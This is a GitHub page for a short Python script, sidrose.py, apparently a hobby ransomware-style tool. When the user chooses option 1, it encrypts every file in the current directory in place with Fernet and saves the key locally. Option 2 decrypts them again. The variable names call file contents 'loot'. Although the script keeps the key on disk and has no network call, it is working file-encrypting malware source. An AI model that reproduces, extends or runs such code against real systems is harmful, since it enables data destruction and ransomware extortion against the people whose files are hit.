-
Notifications
You must be signed in to change notification settings - Fork 0
/
sidrose.py
94 lines (84 loc) · 3.99 KB
/
sidrose.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/env python3
# Author: sidious
import os
from os import system, name
from cryptography.fernet import Fernet
def bAnn():
print('''
███████╗██╗██████╗ ██████╗ ██████╗ ███████╗███████╗
██╔════╝██║██╔══██╗██╔══██╗██╔═══██╗██╔════╝██╔════╝
███████╗██║██║ ██║██████╔╝██║ ██║███████╗█████╗
╚════██║██║██║ ██║██╔══██╗██║ ██║╚════██║██╔══╝
███████║██║██████╔╝██║ ██║╚██████╔╝███████║███████╗
╚══════╝╚═╝╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚══════╝
(1): Encrypting
(2): Decrypting
''')
def Doh():
print('''
⣿⣿⣿⣿⣿⠟⠋⠀⠀⠀⠀⠙⠿⠛⠉⠁⠀⠙⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⡿⠁⠀⢠⠤⠖⠒⠒⠲⢬⣇⣀⠤⠠⢄⣀⡹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⡯⠁⠀⠀⠀⣠⣴⡶⠖⠲⠾⣢⡠⣴⡲⠶⠶⣶⣝⢿⣿⣿⣿⣿⣿⣿⣿⣿
⡿⠋⠀⠀⠀⠀⢞⣛⠋⠁⠀⠀⠀⠀⠀⡧⠀⠀⠀⠀⠀⠀⡀⣿⣿⣿⣿⣿⣿⣿
⠁⠀⠀⠀⠀⠀⠀⢹⡿⢶⣶⣶⣶⣶⣾⠿⠷⢶⡶⠶⠶⠟⣿⣿⣿⣿⣿⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⢠⠴⠞⠋⠀⠐⠲⠼⣷⠖⠲⣿⣿⣿⣿⣿⣿⣿⣿⣿
⠀⠀⠀⠀⠀⠀⣠⠾⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢦⡀⢻⣿⣿⡿⢃⢰⡍⠝⣿
⠀⠀⠀⠀⠀⠐⣵⣖⣓⡲⠦⣤⣤⣄⣀⣀⣀⣀⣀⣨⡥⢆⣏⢨⠻⡘⣆⣷⡸⣸
⠀⠀⠀⠀⠐⢄⡈⠉⠉⠉⠙⠒⢂⡄⡀⠀⡄⠶⠶⠶⣂⡿⢻⢸⣷⣾⣿⢟⣵⣿
⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀ ⢦⡀⢸⣤⣇⢠⡇⢰⠐⣿⡟⢰⣿⣿⠟⣫⣾⣿⣿
⣿⣿⣿⣶⣶⣤⣤⣄⣀⣀⣀⣙⠻⢿⢿⣿⠖⢫⣾⣿⣷⢸⣿⣿⡇⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢸⣿⣿⡆⣿⣦⡙⢿⣿⣏⣿⣿⣷⠻⣿⣿⣿⣿
⣿⣿⣿⣿⣎⠻⣿⣿⣿⣿⣿⡇⣿⣿⣿⢁⣿⣿⣿⣦⡙⣿⢻⣿⣿⡇⢿⣿⣿⣿
⡝⣿⣿⣿⣿⣷⣜⢿⣿⣿⡿⢰⣿⣿⣿⢘⢿⣿⣿⣿⣿⢀⣿⣿⣿⡇⣾⣿⣿⣿
⣿⡌⢿⣿⣿⣿⣿⣧⡙⢿⢣⣿⣿⣿⡏⣼⣧⣌⠻⢿⢣⣿⣿⣿⣿⢇⣿⣿⣿⣿
''')
SYS_FILES=[]
def indexer():
for file in os.listdir():
if file == "sidrose.py" or file == "very-special-key":
continue
if os.path.isfile(file):
SYS_FILES.append(file)
def eNCryptor():
SEC_KEY=Fernet.generate_key()
with open("very-special-key", "wb") as unl_key:
unl_key.write(SEC_KEY)
for file in SYS_FILES:
with open(file, "rb") as enc_file:
loot=enc_file.read()
loot_enc=Fernet(SEC_KEY).encrypt(loot)
with open(file, "wb") as enc_file:
enc_file.write(loot_enc)
def dECryptor():
with open("very-special-key", "rb") as key:
SEC_KEY=key.read()
try:
for file in SYS_FILES:
with open(file, "rb") as enc_file:
loot=enc_file.read()
loot_dec=Fernet(SEC_KEY).decrypt(loot)
with open(file, "wb") as enc_file:
enc_file.write(loot_dec)
except Exception as error:
print("An error has occurred, check your key!")
if __name__ == "__main__":
try:
bAnn()
EXECU_IN=input(":")
if EXECU_IN == "1":
indexer()
eNCryptor()
elif EXECU_IN == "2":
indexer()
dECryptor()
else:
if name == 'nt':
_ = system('cls')
else:
_ = system('clear')
Doh()
print("Please choose either 1 or 2")
exit ()
except KeyboardInterrupt:
print()
exit()